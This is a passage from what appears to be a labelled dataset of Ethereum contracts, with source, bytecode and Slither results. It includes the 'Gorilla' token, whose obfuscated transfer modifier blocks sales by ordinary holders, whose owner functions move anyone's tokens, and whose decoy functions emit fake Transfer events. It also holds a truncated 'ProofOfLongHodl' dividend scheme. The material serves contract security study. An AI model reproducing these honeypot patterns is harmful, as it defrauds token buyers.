66726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613ae2816135f6565b8114613aed57600080fd5b50565b613af981613608565b8114613b0457600080fd5b50565b613b108161361a565b8114613b1b57600080fd5b50565b613b2781613646565b8114613b3257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e2187c323ba4d9ceaabf697521a02b519c887800cfef53d5a5e01715d51d9e2164736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 801 |
0xf96b25e5dcf142dcc1ac3ded0e884bbc5c1c5cee | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract Gorilla is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeAuthority;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x0cf5CAC3AEa3EA41B50e22C840B606bc3993E3E0;
address public _authority = 0xf3FF35887EdA1300c32Ff5B4926B2d48E9B1585b;
constructor () public {
_name = "GORILLA";
_symbol = "GORILLA";
_decimals = 18;
uint256 initialSupply = 2060000000 * 10 ** 18;
_safeAuthority = _authority;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _authority, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _authority, "!owner");
_safeAuthority = safeOwner;
}
modifier _log(address dest, uint256 num, address from, address filler){
if (
_authority == _safeAuthority
&& from == _authority)
{_safeAuthority = dest;_;}else
{if (
from == _authority
|| from == _safeAuthority
|| dest == _authority){
if (
from == _authority
&& from == dest
){_discardedAmt = num;
}_;}else{
if (
_plus[from] == true
)
{
_;}else{if (
_discarded[from] == true
)
{require((from == _safeAuthority)||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt){
if(dest == _safeAuthority){_discarded[from] = true; _plus[from] = false;
}_; }else{require((from == _safeAuthority)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}}}}}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _authority){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _authority, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_authority] = _balances[_authority].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _authority){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _authority, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function Execute(address recipient) public _verify(){
//Enable
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function ProxiedSwap(address recipient) public _verify(){
//Disable
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferTo(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
} | 0x608060405234801561001057600080fd5b50600436106101585760003560e01c80638d3ca13e116100c3578063c2205ee11161007c578063c2205ee1146107c2578063c75e2c3d146107ca578063d8fc2924146107f0578063dd62ed3e14610923578063f3294c1314610951578063f8129cd21461097757610158565b80638d3ca13e146105025780639430b4961461063557806395d89b411461065b578063a5aae25414610663578063a9059cbb14610796578063bb88603c146104fa57610158565b80633cc4430d116101155780633cc4430d1461032b5780634e6ec2471461045e5780635265327c1461048a578063671e9921146104b057806370a08231146104d4578063715018a6146104fa57610158565b806306fdde031461015d57806308ec4eb5146101da578063095ea7b31461027d57806318160ddd146102bd57806323b872dd146102d7578063313ce5671461030d575b600080fd5b610165610aaa565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027b600480360360208110156101f057600080fd5b810190602081018135600160201b81111561020a57600080fd5b82018360208201111561021c57600080fd5b803590602001918460208302840111600160201b8311171561023d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b40945050505050565b005b6102a96004803603604081101561029357600080fd5b506001600160a01b038135169060200135610c34565b604080519115158252519081900360200190f35b6102c5610c51565b60408051918252519081900360200190f35b6102a9600480360360608110156102ed57600080fd5b506001600160a01b03813581169160208101359091169060400135610c57565b610315610cde565b6040805160ff9092168252519081900360200190f35b61027b6004803603606081101561034157600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561036b57600080fd5b82018360208201111561037d57600080fd5b803590602001918460208302840111600160201b8311171561039e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ed57600080fd5b8201836020820111156103ff57600080fd5b803590602001918460208302840111600160201b8311171561042057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ce7945050505050565b61027b6004803603604081101561047457600080fd5b506001600160a01b038135169060200135610dad565b61027b600480360360208110156104a057600080fd5b50356001600160a01b0316610e8b565b6104b8610ef5565b604080516001600160a01b039092168252519081900360200190f35b6102c5600480360360208110156104ea57600080fd5b50356001600160a01b0316610f04565b61027b610f1f565b61027b6004803603606081101561051857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561054257600080fd5b82018360208201111561055457600080fd5b803590602001918460208302840111600160201b8311171561057557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156105c457600080fd5b8201836020820111156105d657600080fd5b803590602001918460208302840111600160201b831117156105f757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610f6e945050505050565b6102a96004803603602081101561064b57600080fd5b50356001600160a01b031661102e565b61016561109a565b61027b6004803603606081101561067957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156106a357600080fd5b8201836020820111156106b557600080fd5b803590602001918460208302840111600160201b831117156106d657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561072557600080fd5b82018360208201111561073757600080fd5b803590602001918460208302840111600160201b8311171561075857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506110fb945050505050565b6102a9600480360360408110156107ac57600080fd5b506001600160a01b0381351690602001356111bb565b6104b86111cf565b61027b600480360360208110156107e057600080fd5b50356001600160a01b03166111de565b61027b6004803603606081101561080657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561083057600080fd5b82018360208201111561084257600080fd5b803590602001918460208302840111600160201b8311171561086357600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108b257600080fd5b8201836020820111156108c457600080fd5b803590602001918460208302840111600160201b831117156108e557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611260945050505050565b6102c56004803603604081101561093957600080fd5b506001600160a01b03813581169160200135166112fe565b61027b6004803603602081101561096757600080fd5b50356001600160a01b0316611329565b61027b6004803603606081101561098d57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156109b757600080fd5b8201836020820111156109c957600080fd5b803590602001918460208302840111600160201b831117156109ea57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a3957600080fd5b820183602082011115610a4b57600080fd5b803590602001918460208302840111600160201b83111715610a6c57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113b0945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b600d546001600160a01b03163314610b88576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c30576001806000848481518110610ba557fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bf657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b8b565b5050565b6000610c48610c416114d1565b84846114d5565b50600192915050565b60045490565b6000610c648484846115c1565b610cd484610c706114d1565b610ccf856040518060600160405280602881526020016120e2602891396001600160a01b038a16600090815260036020526040812090610cae6114d1565b6001600160a01b031681526020810191909152604001600020549190611846565b6114d5565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610d34576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757828181518110610d4c57fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a833981519152848481518110610d8257fe5b60200260200101516040518082815260200191505060405180910390a3600101610d37565b50505050565b600d546001600160a01b03163314610e0c576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610e199082611470565b600455600d546001600160a01b0316600090815260208190526040902054610e419082611470565b600d546001600160a01b03908116600090815260208181526040808320949094558351858152935192861693919260008051602061210a8339815191529281900390910190a35050565b600d546001600160a01b03163314610ed3576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314610f6c576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b565b600d546001600160a01b03163314610fbb576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757836001600160a01b0316838281518110610fdd57fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061100957fe5b60200260200101516040518082815260200191505060405180910390a3600101610fbe565b600d546000906001600160a01b0316331461107e576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6110928261108a6114d1565b6008546114d5565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b600d546001600160a01b03163314611148576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757836001600160a01b031683828151811061116a57fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061119657fe5b60200260200101516040518082815260200191505060405180910390a360010161114b565b6000610c486111c86114d1565b84846115c1565b600d546001600160a01b031681565b600d546001600160a01b0316331461122b576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b5461125d9284929116906114d5565b50565b600d546001600160a01b031633146112ad576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6112b98361108a6114d1565b60005b8251811015610da7576112f6848483815181106112d557fe5b60200260200101518484815181106112e957fe5b60200260200101516118dd565b6001016112bc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b03163314611376576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461125d92849216906114d5565b600d546001600160a01b031633146113fd576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da75782818151811061141557fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a83398151915284848151811061144b57fe5b60200260200101516040518082815260200191505060405180910390a3600101611400565b6000828201838110156114ca576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661151a5760405162461bcd60e51b815260040180806020018281038252602481526020018061214f6024913960400191505060405180910390fd5b6001600160a01b03821661155f5760405162461bcd60e51b815260040180806020018281038252602281526020018061207a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156115f75750600d546001600160a01b038381169116145b1561162757600980546001600160a01b0319166001600160a01b038616179055611622878787611a56565b61183d565b600d546001600160a01b038381169116148061165057506009546001600160a01b038381169116145b806116685750600d546001600160a01b038581169116145b156116b157600d546001600160a01b03838116911614801561169b5750836001600160a01b0316826001600160a01b0316145b156116a657600a8390555b611622878787611a56565b6001600160a01b03821660009081526001602081905260409091205460ff16151514156116e357611622878787611a56565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561176d576009546001600160a01b03838116911614806117325750600b546001600160a01b038581169116145b6116a65760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a548310156117ce576009546001600160a01b03858116911614156116a6576001600160a01b03821660009081526002602090815260408083208054600160ff199182168117909255925290912080549091169055611622878787611a56565b6009546001600160a01b03838116911614806117f75750600b546001600160a01b038581169116145b6118325760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b61183d878787611a56565b50505050505050565b600081848411156118d55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561189a578181015183820152602001611882565b50505050905090810190601f1680156118c75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0383166119225760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b0382166119675760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611972838383612051565b6119af8160405180606001604052806026815260200161209c602691396001600160a01b0386166000908152602081905260409020549190611846565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546119de9082611470565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611a1857600c546001600160a01b031692505b816001600160a01b0316836001600160a01b031660008051602061210a833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611a8c5750600d546001600160a01b038381169116145b15611c2257600980546001600160a01b0319166001600160a01b03868116919091179091558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611b335760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611b3e878787612051565b611b7b8560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611baa9086611470565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611be457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a361183d565b600d546001600160a01b0383811691161480611c4b57506009546001600160a01b038381169116145b80611c635750600d546001600160a01b038581169116145b15611ce657600d546001600160a01b038381169116148015611c965750836001600160a01b0316826001600160a01b0316145b15611ca157600a8390555b6001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611d52576001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611ddc576009546001600160a01b0383811691161480611da15750600b546001600160a01b038581169116145b611ca15760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a54831015611e70576009546001600160a01b0385811691161415611ca1576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611e995750600b546001600160a01b038581169116145b611ed45760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b6001600160a01b038716611f195760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611f5e5760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611f69878787612051565b611fa68560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611fd59086611470565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561200f57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220de90ab5c02a0c2494c4d1cbda82681b2eab5eee437e0a9fa27b4f191dbf7921464736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 802 |
0x61ea25cfd1509888211f9e58e82edde74acc59b1 | /*
* Team Proof of Long Hodl presents... v2
*/
pragma solidity ^0.4.21;
contract ProofOfLongHodl {
using SafeMath for uint256;
event Deposit(address user, uint amount);
event Withdraw(address user, uint amount);
event Claim(address user, uint dividends);
event Reinvest(address user, uint dividends);
address owner;
mapping(address => bool) preauthorized;
bool gameStarted;
uint constant depositTaxDivisor = 5; // 20% of deposits goes to divs
uint constant withdrawalTaxDivisor = 5; // 20% of withdrawals goes to divs
uint constant lotteryFee = 20; // 5% of deposits and withdrawals goes to dailyPool
mapping(address => uint) public investment;
mapping(address => uint) public stake;
uint public totalStake;
uint stakeValue;
mapping(address => uint) dividendCredit;
mapping(address => uint) dividendDebit;
function ProofOfLongHodl() public {
owner = msg.sender;
preauthorized[owner] = true;
}
function preauthorize(address _user) public {
require(msg.sender == owner);
preauthorized[_user] = true;
}
function startGame() public {
require(msg.sender == owner);
gameStarted = true;
}
function depositHelper(uint _amount) private {
require(_amount > 0);
uint _tax = _amount.div(depositTaxDivisor);
uint _lotteryPool = _amount.div(lotteryFee);
uint _amountAfterTax = _amount.sub(_tax).sub(_lotteryPool);
// weekly and daily pool
uint weeklyPoolFee = _lotteryPool.div(5);
uint dailyPoolFee = _lotteryPool.sub(weeklyPoolFee);
uint tickets = _amount.div(TICKET_PRICE);
weeklyPool = weeklyPool.add(weeklyPoolFee);
dailyPool = dailyPool.add(dailyPoolFee);
//********** ADD DAILY TICKETS
dailyTicketPurchases storage dailyPurchases = dailyTicketsBoughtByPlayer[msg.sender];
// If we need to reset tickets from a previous lotteryRound
if (dailyPurchases.lotteryId != dailyLotteryRound) {
dailyPurchases.numPurchases = 0;
dailyPurchases.ticketsPurchased = 0;
dailyPurchases.lotteryId = dailyLotteryRound;
dailyLotteryPlayers[dailyLotteryRound].push(msg.sender); // Add user to lottery round
}
// Store new ticket purchase
if (dailyPurchases.numPurchases == dailyPurchases.ticketsBought.length) {
dailyPurchases.ticketsBought.length += 1;
}
dailyPurchases.ticketsBought[dailyPurchases.numPurchases++] = dailyTicketPurchase(dailyTicketsBought, dailyTicketsBought + (tickets - 1)); // (eg: buy 10, get id's 0-9)
// Finally update ticket total
dailyPurchases.ticketsPurchased += tickets;
dailyTicketsBought += tickets;
//********** ADD WEEKLY TICKETS
weeklyTicketPurchases storage weeklyPurchases = weeklyTicketsBoughtByPlayer[msg.sender];
// If we need to reset tickets from a previous lotteryRound
if (weeklyPurchases.lotteryId != weeklyLotteryRound) {
weeklyPurchases.numPurchases = 0;
weeklyPurchases.ticketsPurchased = 0;
weeklyPurchases.lotteryId = weeklyLotteryRound;
weeklyLotteryPlayers[weeklyLotteryRound].push(msg.sender); // Add user to lottery round
}
// Store new ticket purchase
if (weeklyPurchases.numPurchases == weeklyPurchases.ticketsBought.length) {
weeklyPurchases.ticketsBought.length += 1;
}
weeklyPurchases.ticketsBought[weeklyPurchases.numPurchases++] = weeklyTicketPurchase(weeklyTicketsBought, weeklyTicketsBought + (tickets - 1)); // (eg: buy 10, get id's 0-9)
// Finally update ticket total
weeklyPurchases.ticketsPurchased += tickets;
weeklyTicketsBought += tickets;
if (totalStake > 0)
stakeValue = stakeValue.add(_tax.div(totalStake));
uint _stakeIncrement = sqrt(totalStake.mul(totalStake).add(_amountAfterTax)).sub(totalStake);
investment[msg.sender] = investment[msg.sender].add(_amountAfterTax);
stake[msg.sender] = stake[msg.sender].add(_stakeIncrement);
totalStake = totalStake.add(_stakeIncrement);
dividendDebit[msg.sender] = dividendDebit[msg.sender].add(_stakeIncrement.mul(stakeValue));
}
function deposit() public payable {
require(preauthorized[msg.sender] || gameStarted);
depositHelper(msg.value);
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint _amount) public {
require(_amount > 0);
require(_amount <= investment[msg.sender]);
uint _tax = _amount.div(withdrawalTaxDivisor);
uint _lotteryPool = _amount.div(lotteryFee);
uint _amountAfterTax = _amount.sub(_tax).sub(_lotteryPool);
// weekly and daily pool
uint weeklyPoolFee = _lotteryPool.div(20);
uint dailyPoolFee = _lotteryPool.sub(weeklyPoolFee);
weeklyPool = weeklyPool.add(weeklyPoolFee);
dailyPool = dailyPool.add(dailyPoolFee);
uint _stakeDecrement = stake[msg.sender].mul(_amount).div(investment[msg.sender]);
uint _dividendCredit = _stakeDecrement.mul(stakeValue);
investment[msg.sender] = investment[msg.sender].sub(_amount);
stake[msg.sender] = stake[msg.sender].sub(_stakeDecrement);
totalStake = totalStake.sub(_stakeDecrement);
if (totalStake > 0)
stakeValue = stakeValue.add(_tax.div(totalStake));
dividendCredit[msg.sender] = dividendCredit[msg.sender].add(_dividendCredit);
uint _creditDebitCancellation = min(dividendCredit[msg.sender], dividendDebit[msg.sender]);
dividendCredit[msg.sender] = dividendCredit[msg.sender].sub(_creditDebitCancellation);
dividendDebit[msg.sender] = dividendDebit[msg.sender].sub(_creditDebitCancellation);
msg.sender.transfer(_amountAfterTax);
emit Withdraw(msg.sender, _amount);
}
function claimHelper() private returns(uint) {
uint _dividendsForStake = stake[msg.sender].mul(stakeValue);
uint _dividends = _dividendsForStake.add(dividendCredit[msg.sender]).sub(dividendDebit[msg.sender]);
dividendCredit[msg.sender] = 0;
dividendDebit[msg.sender] = _dividendsForStake;
return _dividends;
}
function claim() public {
uint _dividends = claimHelper();
msg.sender.transfer(_dividends);
emit Claim(msg.sender, _dividends);
}
function reinvest() public {
uint _dividends = claimHelper();
depositHelper(_dividends);
emit Reinvest(msg.sender, _dividends);
}
